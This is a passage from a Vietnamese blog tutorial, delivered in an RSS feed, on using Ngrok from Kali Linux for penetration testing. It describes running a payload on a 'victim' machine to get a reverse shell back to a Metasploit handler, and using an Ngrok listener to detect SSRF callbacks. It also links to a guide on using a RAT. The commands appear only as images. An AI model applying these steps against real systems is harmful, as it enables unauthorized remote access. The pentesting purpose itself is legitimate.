<p>4. Chuyển tệp sang máy nạn nhân và sau đó chạy tải trọng. Bạn sẽ nhận được kết nối trở lại trên trình xử lý Metasploit cục bộ của mình:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_gO8djRojWtcRNOjwQJnmIQ.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 41" width="700" height="287" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 45"></p>
<p>LƯU Ý: Hãy cẩn thận khi sử dụng Ngrok cho các reverse shell. Nếu không được xử lý, bạn có thể vô tình để lộ mạng của khách hàng trước những kẻ xấu.</p>
<h3>Kiểm tra lỗi hổng tương tác dịch vụ</h3>
<p>Kiểm tra các tương tác máy chủ bên ngoài như giả mạo yêu cầu phía máy chủ (SSRF) có thể nhanh chóng thực hiện bằng cách sử dụng Ngrok. Chỉ cần tạo một trình nghe Ngrok trên bất kỳ cổng nào bạn muốn và sau đó sử dụng URL được cung cấp để đưa vào các thông số có khả năng dễ bị tấn công như tiêu đề HTTP, thông số chuyển hướng URL,&#8230; để cố gắng tìm lỗ hổng tương tác dịch vụ OOD:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_YkXhda9Dcpn2JS_UN4EA_Q.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 42" width="475" height="148" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 46"></p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_K2FJLlzoJsysGX6f3tlICg.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 43" width="700" height="210" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 47"></p>
<p>Sau đó, chúng ta có thể mô phỏng một dịch vụ OOB với cURL:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/07/1_GYV7NOzVnlZ9XIDaFAxe1g.jpg" alt="Cách cấu hình Ngrok để NAT Port trên Kali Linux 44" width="700" height="460" title="Cách cấu hình Ngrok để NAT Port trên Kali Linux 48"></p>
<p>Như bạn  có thể thấy, một số yêu cầu GET đã được gửi đến trình nghe Ngrok, có thể được sử dụng để xác nhận các lỗ hổng như SSRF.</p>
<p>Ngoài ra, bạn cũng có thể sử dụng RAT mà không cần mở Port bằng Ngrok <a href="https://anonyviet.com/dung-rat-khong-can-mo-port/">tại đây</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Ngrok là gì và tại sao nó hữu ích cho Pentest?</h3>
<p>Ngrok là một công cụ tạo đường hầm HTTP/TCP, cho phép bạn tiếp cận các dịch vụ trên máy tính cá nhân của mình từ Internet mà không cần phải cấu hình NAT port phức tạp hoặc tiết lộ địa chỉ IP công cộng.  Điều này rất hữu ích trong Pentest để dễ dàng kiểm tra các ứng dụng từ xa.</p>
<h3>Tôi cần làm gì sau khi cài đặt Ngrok?</h3>
<p>Sau khi cài đặt, bạn cần xác thực tài khoản Ngrok của mình bằng Authtoken.  Bạn có thể lấy Authtoken từ trang cá nhân trên website Ngrok và sử dụng lệnh  <code>ngrok authtoken 'YOUR_AUTHTOKEN'</code> để cấu hình.</p>
<h3>Ngrok có an toàn không khi sử dụng cho reverse shell?</h3>
<p>Cần thận trọng khi sử dụng Ngrok cho reverse shell vì nó có thể làm lộ mạng của khách hàng nếu không được xử lý cẩn thận.  Hãy đảm bảo tuân thủ các nguyên tắc bảo mật và chỉ sử dụng trên các hệ thống mà bạn có quyền truy cập hợp pháp.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-cau-hinh-ngrok-de-nat-port-tren-kali-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
